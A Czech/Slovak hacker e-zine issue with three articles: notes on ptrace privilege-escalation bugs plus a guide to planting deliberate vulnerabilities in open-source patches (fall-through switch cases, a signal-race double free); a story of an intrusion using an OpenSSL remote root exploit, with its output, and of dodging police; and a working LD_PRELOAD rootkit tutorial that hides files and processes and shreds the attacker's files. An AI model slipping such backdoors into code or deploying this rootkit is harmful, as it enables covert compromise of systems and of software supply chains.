*jenze* tento shell je furt tracer, a ackoli jiz nema zadna prava, je furt
parent a tracer prave beziciho uid 0 /usr/bin/passwd, takze se jen spusti
binarka co zmeni code context /usr/bin/passwd shellcodem a je to.




ptrace #3 (found by cliph, '03)




opet velice primitivni, asi nejjednodusi z rodiny ptrace bugu, ale rozhodne
mu to neubira nic na ucinnosti. funkce tohoto bugu uz neni jen chybou
v ptrace jako takovem, ale i ve stupidni implementaci kernel-threadu linuxu.
v linuxu se totiz kernel thread vyrabi naprosto uchylnym zpusobem, a to tak
ze se veme aktualni bezici proces a ten se fork()-ne a pak se vyslednemu
procesu da uid 0 a dostane capability a pak se teprv pusti kernel thread funkce.
co se stane mezi temito dvema operacemi, tj. mezi fork() a predani uid je jasne
- ptrace attach a pockame si az proces dostane uid 0. protoze pak kernel-thread
udela primo execve() (spousti /sbin/modprobe), takze dale uz bezi jako user process
muzeme pouzit dalsi ptrace operace na vlozeni shellcode (ktery vytvori setuid root
binarku / hodi rootshell na tcp port)



jak je vidno, charakter ptrace bugu je velice podezrely. uz jenom z faktu ze
vsechny bugy nasli polaci :) ne, mozne to sice je ze bugy v ptrace byly umyslne, ale
buggy ptrace jako takovy je velice stary (uz od 1.x) kernelu a tenkrat se resili
jeste buffer overflowy v kernelu. na druhou stranu je to krasny priklad jak se maji
implementovat skryte backdoory do vetsich projektu.



jak backdoorovat



v podstate jsou praxi overene 2 postupy:



    a) submitnout patch ktery implementuje bugfix/nejakou featuru
    jejiz soucasti je zasah do jinych struktur, kde se treba
    "zapomene" break ci return v switch() statementu takze
    vznikne double-free(), strcat do bufferu probehne 2x atd.


    b) implementovat bug primo do featury v podobe logicke chyby
    (race condition...)




a) je jednodussi, takze s nim zacneme:



mejme takovyto soubor, ktery appendne do 'buf' o velikosti BUFSIZE.
x/y/z podle toho co je 'what'.




void dummy(char *buf, char *x, char *y, char *z, char *a, int what)
{
int len = strlen(buf);
switch(what) {
case 0:
strncat(buf, x, BUFSIZE - len);
break;
case 1:
strncat(buf, y, BUFSIZE - len);
break;
case 2:
strncat(buf, z, BUFSIZE - len);
break;
}
}


rekneme ze jsme implementovali novou
featuru pro what == 3.
patch, by vypadal zhruba asi takto:




--- old.c Wed May 28 17:22:47 2003
+++ new.c Wed May 28 17:23:25 2003
@@ -11,4 +11,6 @@
case 2:
strncat(buf, z, BUFSIZE - len);
+ case 3:
+ strncat(buf, a, BUFSIZE - len);
break;
}


co se stane je asi jasne, pro what = 2 probehne i to co
pro what = 3, se spatnou hodnotou pro strncat.



tento jednoduchy priklad vychazi z predpokladu ze lidi
strncat povazuji automaticky za secure a vecina "auditu"
techto patchu je grepovani pro sprintf/strcpy/strcat,
nehlede na to ze drtiva vetsina maintaineru peclive prohlizi
jen patche (takze rucne z nich vyripuj "orientacni" kod ktery
se nepatchuje, ale ktery by mohl poodhalit kontext), vysledny
kod je zajima jen kdyz patch(1) reportoval nejake nesrovnalosti.



b) a tady si zkusime jednu race condition, v davnych dobach sem
tim chtel backdoornout jednu default suid binarku, ale muj
patch nebyl dostatecne featureoidni, takze nebyl aplikovan, skoda.



v podstate slo o to implementovat timeout mechanismus, jak to zhruba
fungovalo (pouze ilustracni priklady :)




struct context *ctx;

void dummy()
{
ctx->i = read_user_input(); /* return NULL if empty input */
if (!ctx->i) {
free(ctx)
exit(0);
}
}


a muj patch vypadal asi takto:




--- old.c Wed May 28 17:37:18 2003
+++ new.c Wed May 28 17:38:41 2003
@@ -1,7 +1,17 @@
+#define TIMEOUT 60
+
struct context *ctx;

+void timeout(int d)
+{
+ free(ctx);
+ exit(0);
+}
+
void dummy()
{
+ signal(SIGALRM, timeout);
+ alarm(TIMEOUT);
ctx->i = read_input(); /* return NULL if empty input */
if (!ctx->i) {
free(ctx)


na *prvni* pohled neco docela nezavadneho, v podstate pokud user
nezadal vstupni data, program se ukonci.



ale jak uz sem rek, tento patch byl evil :)
otazka totiz je, co by se stalo kdyby ve chvili mezi free() a exit() prisel
alarm =< zavola se timeout() jez by ucinil free() znova. double free() je relativne
dobre zdokumentovana technika a neni predmetem tohoto textiku.
exploit by potom vypadal asi tak ze by spoustel, v mnoha threadech, danou binarku,
pomoci volani ruznych argumentu na prikazovem radku vyrobil pozadovany heap state,
a pak jenom skousel nacasovat spravny null input. statisticky vyjadreno je
uspech zarucen behem nekolika minut. pokud se tento mechanismus komplikovane
do neceho zabuduje, je takrka nemozne ho objevit, ale to je jeden z mnoha :)
pouzij svoji fantazii, nejsi omezen znamymi bugy, vlastne bugy nezname jsou velmi
vitane, protoze to nikomu jen tak nedojde :)



to je pro dnesek vsecko - mam nakou jarni unavu (hi zyx, pisu ti to uz asi
2 tejdny, vaz si toho :)



takze az si stahnete, rozbalite a nainstalujete novyho apache a druhej den
vam nekdo zmeni web, nedifte se - je to prece open source ;))






sd, sd(at)hysteria.sk





navrat na obsah

co ty na to ? board







dastych reloaded



mile deti, dnes vam budem povidat pohadku ktera se mozna stala, mozna ne, kdo vi,
odpoved vam muze dat leda tak jisty serzant XXX z okrsku YYY z policejni stanice
umistene na krasnem miste se skvelou vyhlidkou na cele mesto (kde se da dobre
piratit wifi, btw) jmenem ZZZ, a vice ci mene se tyka jen jednoho clovicka
jmenem CLOVICEK.



za devatero mesty, devatero nakupnimi stredisky, devatero dalnicnimi pohlcovaci
hluku (ved hej, taketo veci podobne tej zdi v maticni, ved poznate) a devatero
obytnymi ctvrtmi stal, nestal, rozpadal se ci nerozpadal nejlepsi vynalez z dob
totality a betonove civilizace, osuntely panelak. byl to velice kvalitni panelak,
stal tam jiz 18 let, stejne tak dlouho jak je na svete ten, o kom vam dnes budu
vypravet.



a v tomto krasnem panelaku zil byl takovy maly clovicek. clovicek zil v klidu
a miru v neustalem boji o udrzeni symbiozy s okolnim svetem, uspesne hazel
problemy za hlavu a nic moc nikdy neresil dokud ...



pi pi pi .... pi pi pi.



pipa mobil, prisla smska.



clovicek se zaposloucha aby urcil smer odkud zvukovy signal obdelnikoveho
prubehu mohl zaznit a zhruba mohl odhadnout kde by mohl mobil lezet a ucinit
tak spravny vypad a chopit se ho za vynalozeni co nejmensiho usili. telefon
mam v ruce:



sms znela zhruba takto:
"zdar CLOVICEK ve skole byli policajti, kdyz sli do sborovny tak
tam odtud vysel tridni a at te sezenu tak sem mu rek ze nejsi
ve skole. mozna chteli neco tobe"



to je spatny. doufam ze se fakt neschaneli po me.



do <&rt; takovou vostudu mi udelat ve skole! v ruce trimam obalku s modrym
prouzkem (pro neznale - obsilka policie cr). predvolani k vyslechu.



"co jste delal dne ??.??. 2002 ?" rika ramenaty serzant XXX v uniforme.
je opaleny ackoli venku je namraza a pada snich. bude mu asi tak
neco k 30, ale jeho vek se da spatne odhadnout - sekac, rikam si, asi
chodi ze stanice rovnou do posilky, pak do solarka a pak na diskoteku
zbalit naky clueless kundicky. frajirek k pohledani. rozhoupal jsem
se k odpovedi: "nevim, je to pulrok zpatky, to si uz nepamatuju - prominte,
kdybych to tusil ze to chcete vedet, zavedu si denicek" povidam. po serzantove
tvari preletl sadisticky usklebek, ale odveta se nekonala. tohle nebylo dobre.
zda se ze nejsem svedek, ale podezrely, taky to tam mohli rovnou napsat.
nu dobra, vtipkovat uz nebudu.



"dobre" povida serza, "slysel jste nekdy o firme FOOBAR?" ... na to vem jed
ze slysel, snazim se vypadat jako bych o tom nic nevedel: "ne."




/*
cca. pred pul rokem od data predchoziho deje:

sh-2.03# cat scanresults/1.2^16 | grep vuln
1.2.3.4: ssl vuln at port 995
sh-2.03# exp/priv/brm -h 1.2.3.4:995 -c 0 -o 0xbffffff0
openssl 0.9.6b remote (root) exploit
(c) 2002 CLOVICEK
PRIVATE CODE! SPREAD/USER ONLY WITH AUTHOR'S PERMISSION.
Attacking 1.2.3.4:995 [1.2.3.4], offset=bffffff0, conncnt=0
Ja pata! The 1.2.3.4 _is_ vulnerable (nextchunk=0x08157fc8, cipher=0x406f90ac)
scanning from 0xbffffff0
#625 - trying 0xbffff62c (get server verify: Malformed packet size)
bug exploited sucessfuly.
enjoy!
Linux ns.FOOBAR.cz 2.4.19 #1 Wed Sep 15 18:02:18 CEST 2002 i686 unknown
uid=0(root) gid=0(root) groups=8(mail)

*/


tak a je to. chtel sem to - mam to mit. podcenil jsem legislativu v cechach,
zatracene podcenil. vyslech pokracoval banalitami kdy jsem vymyslel pohadky
do protokolu. nerikat nic a nebo uplne nesmysly se nevyplaci, s policii uz
nejake zkusenosti mam a to bych se moch z fizlarny dostat domu klidne i druhej
den. konec, mam se prej dostavit znova pristi tejden.
vyjdu z fizlarny, zapnu mobil. asi za hodinu vola jeden kamos z univerzity.



"do pici co se to deje, dostal sem obsilku od policie k vyslechu, dneska rano
sem tam byl a ptali se me na tebe a mely naky cernobily video z komp labaku
kde sedis vzadu u kompu a ja kecam s adminem"



je to jasne, univerzita. postupne se mi stripky davaji dohromady jak se
toho vseho asi mohli domaknout. toho dne kdy se behalo po FOOBAR jsem sedel
na univerzite. zrejme tam udelaly nejaky halo.



"neptali se te kdo je ten clovek vzadu u pocitace, to jest ja, ze ne ?"
"jo, jak to vis?" rika. "a ty jsi jim to rek?" ... "jasne ze jo, ty vole
dyk sou to policajti"



je to jasny. jasny jak facka. v tomto smeru asi nema moc cenu to zatloukat.
jdu do inet kavarny, ta narozdil od univerzity stoji penize, ale za techto
okolnosti... nelezu na irc, nectu regular mejly, nechci do toho zatahnout
dalsi lidi. neexistuju. offline.
pisu email znamymu jez ma co do cineni s internetem na
univerzite, jestli nebyl nekdy v posledni dobe nejaky problem, nejakou
chvili to potrva.



crrrrrrrrr. zvonek. pak ticho, jenom kroupy za oknem jako by se zblaznili,
mlati do okenich skel v odpoved zvonku. tvori to docela cool duet.



crrrrrrrrr. a klepani na dvere.



jakej cur* v 11 vecer ? jeste sem si ani nepustil sve oblibene porno.
vyhrabu se z postele, killnu mplayer s peckem, jdu otevrit.



dva fizlove.



"vase bydliste je predmetem domovni prohlidky."
o soudni rozhodnuti nemusim zadat, vyndal ho sam.
co se dalo dale si pamatuju jen mlhave. zlej sen. asi jeste moc rozespalej,
kamos rika ze porno otupuje, mozna ma pravdu, kazdopadne
v tomhle pripade to nebylo vubec na skodu.
vtrhli dovnitr, mama vyjevene vyleze z pokoje.



cvak. cvak.



mam pouta.



no toto. tohle je fakt cool. maj na to vubec pravo ?
sem podelanej az za usima.



podle bordelu a smradu cigaret a otevrenych dveri jdou
na jisto do meho pokoje, zbytek je nezajima.



postup odkoukany od warezaku ?



berou vsecko co vypada computeroidne, seriaky, napajeci snury,
cdcka, diskety, ide kabely, takrka rozebranou 386ku obsahujici
uz jenom motherboard a cpou to do pytlu jako by to byl sber surovin.
ono taky jo, je to starej srot.
a ted muj pocitac. stojim ve dverich pokoji, v ocich slzy. tohle je
fakt drsny. kdyz vemou otevrenej case a znej vypadne cdromka a disketovka
(nikdy nic v pocitaci neprisroubovavam) zacina ve me vrit krev.
fizl se sklidni, napadlo ho pocitac nejdriv vodpojit vod zasufky pac
chumac dratu mu pripadal nebezpecny kdyz hucely vetraky. aspon tak.



sou pryc, neni tu nic ... ale ... jake stesti ze jsem mel v pocitaci
jenom 3gb disk s pornem a mp3 (kompletne sifrovanym, btw), abych mel
u ceho usnout, protoze ATA100 kabel mel z<&rt; druhou zasuvku (znate to,
sou hrozne krehky a ja zastavam nazor ze ked je to hardware, zaslouzi
to hrube zachazeni - ved preto asi hard, nie ?), takze muj main 40gb
disk byl bezpecne odpojen a hozen pod posteli (kde je neskutecnej binec
papiru, kelimku a vseho a uspesne to tam hnije takze se neodvazili
tam ani sahnout) abych ho pri sve namesicnosti v noci nerozslap.



kua tak to sem mel fakt kliku. z toho 3gb disku rozsifrujou velky prd
pokud vubec budou sto namountovat XFS partisnu *g*



panove, priste si vemte rukavice!



je to dobry, aspon me nesebrali, asi jeste nevi presne za co by mohli.



/*
* od tohoto dne, at vyrazim kamkoliv si ssebou beru do baglu disk vedle mobilu,
* walkmana, matroshe a tak. doporucuju tez kapsace, sou presne delany na harddisky.
*/



odpovedi na email sem se dobral druhy den, apaticky chroupajice gumove
medvidky v teze kavarne jako vcera (komunikace byla slozitejsi, mobil nepouzivam.
maily sli pres jineho clovicka, tohle je jen nepresna reprodukce):




Date: XXX, XX XXX 2002 18:09:37 +0200
From: censored
To: CLOVICEK@blah
Subject: Re: zdravicko


hi,



mno, bylo tady z rektoratu varovani ze tu mame nejakyho hackera
ci co a ze jim mame podat pisemnou informaci kdo se konektil na
1.2.3.4 dne ??.??. 2002, v proxy tam bylo par pristupu na web z
jednoho pocitace na fakulte XYZ.



mno tak to by jsme meli. univerzita ma asi squid cache, obdivuhodne.



sem v drsne depresi. medvidky nabiram po hrstech a rovnou uz je polykam.
neschopen cokoliv delat. beru klavesnici do klina, horecne uvazuju:
maji dukaz, zatracene dobrej dukaz, ze stacil i na prohlidku,
i kdyz jinak je imho neprukaznej - na koukani se na www neni nic spatneho,
na druhou stranu sem nemazal www logy.



v kavarne se nahulvata prihlasim na redirektor.




sh-2.03# ping 1.2.3.4
PING 1.2.3.4 (1.2.3.4): 56 data bytes
^C
--- 1.2.3.4 ping statistics ---
4 packets transmitted, 0 packets received, 100% packet loss


argh!
nejspis tu masinu vytrhli z ethernetu a mrknul se na to
nekdo kdo tomu nejspis rozumi, i kdyz pravda prepisovat
rucne /var/log/apache do Wordu musi bejt dost otrava.
(protoze nevi jak to z ty "modry obrazovky" (F3-view v MC :)
na tom serveru do toho dokumentu jinak dostat :)



je mi jasne ze pristi tyden na policii by mohl byt o dost drsnejsi,
mozna i cela predbeznyho zadrzeni, pote co vyslechnou vsechny my znamy,
nejspis mi mozna i napichli mobil, nastesti vetsina tech hovoru jsou
neskodne, po mobilu se zadny spatnosti resit nemaji, napadlo me jestli
slyseli muj rozhovor s "kamosem z univerzity", donuti je to jednat
v ramci "ochrany" svedku (tj. zamezeni ovlivnovani svedku ci co)



musim bejt rychlejsi jinak sem v pruseru.



googluju firmu FOOBAR, protoze jejich web - je jak sem jiz zjistil
pingem - down. z cache se dovidam kontakty a jadro pudla - sidli
ve stejnem meste kde bydlim. no co, aspon nemusim nikam jezdit.



stojim pred zvonkama. maj fakt fasa zvonky na to jakyho maj lame
admina. takovy ty kulaty, cetlicky ve slide. kua, proc ja nemam
taky takovy zvonky.



najdu FOOBAR, slovo FOOBAR jiz mam vryte do fotograficke pameti
a jak ho vidim, nemusim ani uvazovat nad skladanim jednotlivych
slabik, ale vzdy mi nevyhnutelne pripomene co znamena.



muze, ackoli zrejme nechtene, zruinovat muj zivot.



zvonim na ten zatracene fasa zvonek.



"firma FOOBAR, prosim ?"
"dobry den, ja jsem CLOVICEK, mohl bych navstivit pana
SOMENAME? Mam tady nutnou zalezitost ohledne vaseho internetoveho
pripojeni, sdelte mu to prosim. dekuji moc." zasveholim co
nejdetinstejsim a nejroztomilejsim hlasem, kteremu se da jen tezko
odmitnout.



bzzzzzzzzzz.



nasleduju ceduli, dupu po schodech, knedlik v krku. to co nyni delam
je sileny. mam chut to obratit, nekam utect, ale uz je pozde - jsem
ohlaseny. je to docela mala firmicka, zabyvajici se vecma naprosto
s internetem nesouvisejicima. reditel je mladej, v kapsacich a brichem.
"mas barak, auto, hezkou zenu, mozna i dite a po praci jdes s kolegama
na paintball" kalkuluju v duchu. sedime v kanclu, s usmevem na tvari
zakryvajice muj roztreseny hlas a depresi vykladam mu celou tuhle historii.



mel jsem stesti, zatracene stesti.



cele to bylo o tom ze v danem podniku byl nekdo az prehnane aktivni
a kdyz admin ohlasil ze jsou hacked, odvodil z toho ze to je konkurence
a chce jim ukrast databazi zakazniku (ktera mimochodem na tom serveru
ani nebyla) a na celou vec se najala naka security company. podal sem
mu to tak, ze to byla jen cista nahoda a s jeho firmou to nema co do
cineni a kdyby se ukazalo ze kecam tak neni problem pokracovat v
"trestnim oznameni na neznameho pachatele" jez podala "profesionalni
security firma" jez je velice zbehla v klikani ve wordu a mc ale jinak
ma asi nejake zajimave znamosti.



finito. happy end. fizlove otravovali jeste chvili, ale na sefika sem
asi udelal dojem, nevim jak to zaridil ...



inu, a jaka je pointa celeho tohoto ?



policie je neskodna, "security firmy nikoliv".
policie jedna jen kdyz ji nekdo hodi neco na stul a busi do stolu
dokavad si to nevyboucha. nepouziva elektronicke postupy, ale psychologicky
natlak, sbira dukazy do nejposlednejsiho detailu a az pote uderi.
sranda srandouci. jo, kde jsi dastychu, kde jsi, ty jsi mi byl
*daleko* sympatictejsi ...



ponauceni dnesni bajky ?
ackoli to dobre dopadlo mam problemy ve skole a musel sem zaplatit
pokutu za prestupek na ktery se to nakonec ututlalo:



vyvaruj se masovemu hackovani (=lack of opatrnost)! alespon ve state
kde zijes, o to vic v miste kde bydlis, chces-li se vyhnout vysoce
riskantnimu a zbytecnemu precedensu.



vetrak nepravidelne huci, protoze je vykuchanej ze zdroje a na tvrdo
prilepenej chemoprenem k chladici procesoru - to si to vedle postele
funi muj novej streetbox slatanej ze vseho moznyho co dum/kamosi dal.
chudak, ani jeste nema case, nu co, aspon fizlove priste neuvidi "pocitac"
a pujdou o dum dal. disk spokojene bruci jak do nej linuxik bezohledne sype
swapovany pejdze. ted zabrucel o neco vic protoze sem ulozil tenhle text.



pocitac a muj hardware sem jeste nevidel, nevim jestli jeste vubec nekdy.
zatracene, a porno abych stahoval znova.



o cele kauze jsem par mesicu nerek nikomu ani slovo, lepsi kdyz pred
podavanim nechame trosku vychladnout ...



ach jaj, mam pocitace rad, a ve vezeni zadny nejsou.
nezapominej na to!






anonym





navrat na obsah

co ty na to ? board







Rootkit zalozeny na preload.



Chceli by ste mat kontrolu nad velkym poctom unixovych utilit bez pracneho
patchovania kazdeho jedneho zdrojaku? Zda sa vam robit lkm prilis zlozite?!
Ak ste na obidve otazky odpovedali kladne tak pravdepodobne je tento clanok
pre vas! Existuje jedna,jednoduchsia cesta a tou je funkcia ktora sa nazyva
preload.Cez preload mozme donutit akekolvek programy ktore splnaju nizsie
uvedene podmienky aby robili veci ktore chceme my!
Takze...o co ide?



1. Teoria;


Vzhladom na to ze preload je kniznicna zalezitost skusme si zopar veci
vysvetlit ako funguju.Na zaciatok zopar pojmov:




.plt - procedure linkage table - je to v podstate redirektor ktory
presmeruvava kniznicne volania
.got - global offset table - pomaha hladat absolutne adresy ;)


Funkcie z pohladu adries by sme mohli rozdelit na dva typy:
- tie na ktore sa odkazujeme absolutnymi adresami
- tie pri ktorych pouzivame na ich urcenie sekciu .plt,.got a offset



Nas zaujima ten druhy typ.Vzhladom na to ze adresy v knizniciach nemozu
byt absolutne pretoze kniznica je zdielana roznymi procesmi ktore ju mozu mat
namapovanu na rozne adresy musi byt pouzity PIC kod.PIC znamena Position
independent code tj taky kod ktory nie je zavisli na absolutnej adrese
pricom ak je nejaku adresu treba tak sa vypocita.V tomto pripade ma register
%ebx ulohu uchovavat adresu GOT takze ak pisete PIC kod v asm tak vam komilator
ani %ebx nedovoli pouzit.Skusme teda sledovat ako prebieha volanie takejto
funkcie a vobec vsetko pochopit. Nasa modelova situacia vyzera takto:



printf("Hello world!n");

1. Na zasobnik sa ulozi adresa stringu
2. Funkcia call skace do sekcie .plt do "entry" funkcie printf.
3. Na miesto kam sme skocili to vyzera takto:



8048380: jmp *0x80495e8

/* pricom hodnota na (0x80495e8) sa uz nachadza v GOT a v nasom
pripade ma hodnotu 0x8048386 */

8048386: push $0x20 /* tu sa uklada offset */
804838b: jmp 8048330 /* skaceme na prvu entry v
.plt */
zaciatok .plt:
8048330: pushl *0x80495d0 (400161E8) /* adresa GOT+4 */
8048336: jmp *0x80495d4 /* predame riadenie dynamickemu
linkeru ten preda riadenie
printf() */
...
4000AFD3: mov edx, dword [esp+0x10] /* edx == 0x20 */
4000AFD7: mov eax, dword [esp+0xc] /* eax == 0x400161E8 */
4000AFDB: call near +0xfffffd84 /* skaceme na 0x4000ad5f */
...


A do eax nam to vypluje adresu printf() ktora je 0x40074178 pretoze
libc je namapovana do oblasti 4001a000-4013b000 (cat /proc//maps).
Pricom adresa printf() v libc je 0x5a178.Scitanim 0x4001a000 a 0x5a178
dostavame adresu printf();



poznamka: v pripade ze .plt bude PIC tak sa namiesto absolutnej adresy
pouzije relativne adresovanie vzhladom na hodnotu v registri %ebx.



Dobre,vieme teda co sa deje pri spusteni funkcie ,ale k uplnemu pochopeniu
budeme potrebovat vediet co sa deje pri spusteni programu.Este pred tym nez
sa preda riadenie programu vykona sa mnozstvo veci. Z pohladu kniznic sa deje
toto:



1. vytvori sa obraz binarky v pameti
2. vytvoria sa pametove segmenty pre zdielane kniznice
3. realokacia binarky a zdielanych objektov
4. preda riadenie programu



Preload funguje tak ze sa nasa kniznica natiahne po kroku 1. a este pred
krokom 2.Cim dosiahneme to ze sa nasa kniznica pouzije este pred vsetkymi
ostatnymi kniznicami.Cely tento proces je velmi komplikovany a nie je ucelom
tohto clanku ho riesit.Pre nas je skor dolezite vediet ze pri preloade sa
pouzije nasa funkcia v printf() v preload kniznici co ma za nasledok asi to ze
sa vykona ona a nie ta v libc.



Podmienky:
1. Program sa musi odkazovat na danu funkciu do kniznice
2. Program _nesmie_ byt staticky linkovany
3. V pripade ze program je suid tak aj preload libka musi byt suid (co uz moze
byt napadne ale nikto nevravi ze nemozte prekabatit find :))




2. Prax;


Pri robeni takychto kniznic je prakticky povinnostou pouzivat funkciu
ktora nam vrati adresu symbolu ktory dostane ako argument. V nasom pripade sa
vola getaddr.Mala by vyzerat zhruba nejak takto:




void *getaddr(char *symbol)
{
void *ret;
if ((ret = dlsym(RTLD_NEXT, symbol) == NULL) {
fprintf(stderr, "dlsym %s error:%sn", symbol,
dlerror());
_exit(1);
}
return ret;
}


Mozno sa pytate ako mozme pouzivat dlsym bez toho aby sme pouzili pred
nim niekde dlopen() odpoved je ze nemusime.Totizto argument RTLD_NEXT znamena
ze symboly bude vyhladavat v kniznicach ktore sa natiahnu az po nas.Co je
vyhoda a zaroven aj celkom portabilne.



Nasledne si vyhliadneme dany program,povedzme ze /bin/ls pretoze chceme skryvat
nase subory na disku.Zaujimaju nas dynamicke symboly (teda tie ktore sa
dynamicky linkuju).




# nm -D /bin/ls|grep readdir
U readdir64


Aha! Vidime ze ls pouziva funkciu readdir64().Pozrieme si jej definiciu,
a nasledne vypotime nieco co moze vyzerat aj takto:




struct dirent64 *readdir64(DIR * dp)
{
struct dirent64 *(*real_readdir) (DIR *);
struct dirent64 *ent;
struct stat sbuf;
fchdir(dirfd(dp));
real_readdir = (struct dirent64 * (*)(DIR *)) getaddr("readdir64");
while ((ent = real_readdir(dp)) != NULL) {
stat(ent->d_name, &sbuf);
if (sbuf.st_gid != GID)
break;
}
return ent;
}


Kazdy jeden subor alebo adresar ktory ma grupu GID bude jednoducho ignorovat.
Tymto sposobom mozme v pohode ukryvat aj procesy pretoze dany pid ma v /proc
definovaneho vlastnika i grupu.Ako to vyzera v praxi:




[root@hafix root]# ls -l /proc|grep jookie
dr-xr-xr-x 3 jookie h4x0r 0 apr 7 19:28 3287

[jookie@hafix jookie]$ id
uid=103(jookie) gid=666 skupiny=666

[root@hafix root]# ps xau|grep jookie
jookie 3287 0.0 4.0 2284 1256 tty7 S 19:22 0:00 -sh


Po instalacii kniznice uzivatelom jookie do /etc/ld.so.preload
(aby to fungovalo globalne).Bude to vyzerat takto.




[root@hafix preload]# ps xau|grep jookie
root 3315 0.0 1.2 1404 396 tty6 R 19:26 0:00 grep jookie
[root@hafix preload]# ls -l /home|grep jookie
[root@hafix preload]#


Takto prekabatime vacsinu programov.Treba si vzdy overit ktoru funkciu pouziva
pretoze taky vim pouziva readdir().



V 99% pripadoch bude nutne robit veci pri spustani/vypinani programu.
Takyto handler moze sa bud spustat pri zavadzani kniznice do pamete
(constructor) alebo ruseni z pamete (destructor).Funkcie takto definovane
nesmu brat argumenty a musia byt definovane ako void.Napriklad:




void inito(void) __attribute__((constructor));
void finito(void) __attribute__((destructor));


{con,de}structor uz mame definovany ale s tym este vela nenarobime uzitku:).
Treba urobit este wrappre funkcii. Vyhladame si funkciu z kniznice ktoru mame
zaujem "obalit". V nasej kniznici si ju definujeme rovnako, urobime evil
cinnost a musime (v podstate nemusime,zavisi od toho co robime) zavolat
povodnu funkciu.Na to mame uz spominanu getaddr() ktora nam vrati adresu
symbolu ktory je v tomto pripade printf :).




int printf(const char *format,...)
{
int (*printf_old)(const char *format,...);
printf_old = (int (*)(const char *format,...)) getaddr("printf");
printf_old("Hello World!n");
return 13;
}


Nerobi to nic ine len zaplni obrazovku vetou "Hello Worldn" vsade tam kde
sa vola funkcia printf().Takymto stylom robime wrappre pre vsetky funkcie
ktore potrebujeme.Za istych okolnosti sa daju dokonca wrappovat syscally
ale to len za predpokladu ze program sa bude na dany syscall odkazovat cez
libku.Vsade tam kde sa to riesi priamo cez int 0x80 to fungovat nebude.



Samozrejme tieto wrappre nemusia robit len maskovaciu cinnost,mozu napriklad
robit veci vhodne pre utocnika ako je zachovavanie time access attributov,
secure delete alebo povedzme odchytavanie logov cez syslog(3).




int unlink(const char *pathname)
{
int fd, i;
char *over;
struct stat sbuf;
int (*real_unlink) (const char *);
if(getgid() == GID && stat(pathname,&sbuf) != -1) {
over = (char *) malloc(sbuf.st_size);
fd = open("/dev/urandom", O_RDONLY);
read(fd, over, sbuf.st_size);
close(fd);
fd = open(pathname, O_WRONLY);
for (i = 25; i > 0; i--) {
write(fd, over, sbuf.st_size);
fsync(fd);
}
close(fd);
free(over);
}
real_unlink = (int (*)(const char *)) getaddr("unlink");
return real_unlink(pathname);
}


Aj takto moze vyzerat secure delete verzia unlink() :).Ako mozte vidiet
implementacia kazdeho wrappra je silne indiviualna zalezitost a zalezi od
potrieb konkretneho jedinca :).



Alebo taka myslienka...co tak menit chovanie preload libky podla toho
aka je argv[0]? To by mohlo byt este zaujimavejsie;)



A ako by sa dala prezradit pritomnost tohto typu rootkitu?
Staci dat prakticky na akukolvek binarku ldd.Ta poslusne vypise ze s kym
vsetkym je zlinkovana...mozno ked date nasej preload libke nejaky brutalne
systemovy nazov ze si to nikto nevsimne.ldd vola /lib/ld-linux.so.2 ktory
odkazuje na aktualny dynamicky linker ktory je skompilovany staticky.Riesit sa
to da nejakym vhodnym grepom do ldd alebo patchnutim ld-linux.so.2 .
Potom tu mame este /proc//maps takze aj tu zalezi ze ako;).
Ked robime strace tak medzi prvymi riadkami sa nam tiez prejavi jej pritomnost.



3. A na zaver..


Samozrejme kto chce 100% utajenie pouzije lkm;).Je to akysi medzistupen medzi
patchovanim systemovych utilit a sprtania sa v jadre.






v92, v92(at)hysteria.sk





navrat na obsah

co ty na to ? board









There are currently 9861 K available in
2nd Guild's K-treasury.




get 1 🦆 for 5 🐘
get 1 🐘 for 1 🦆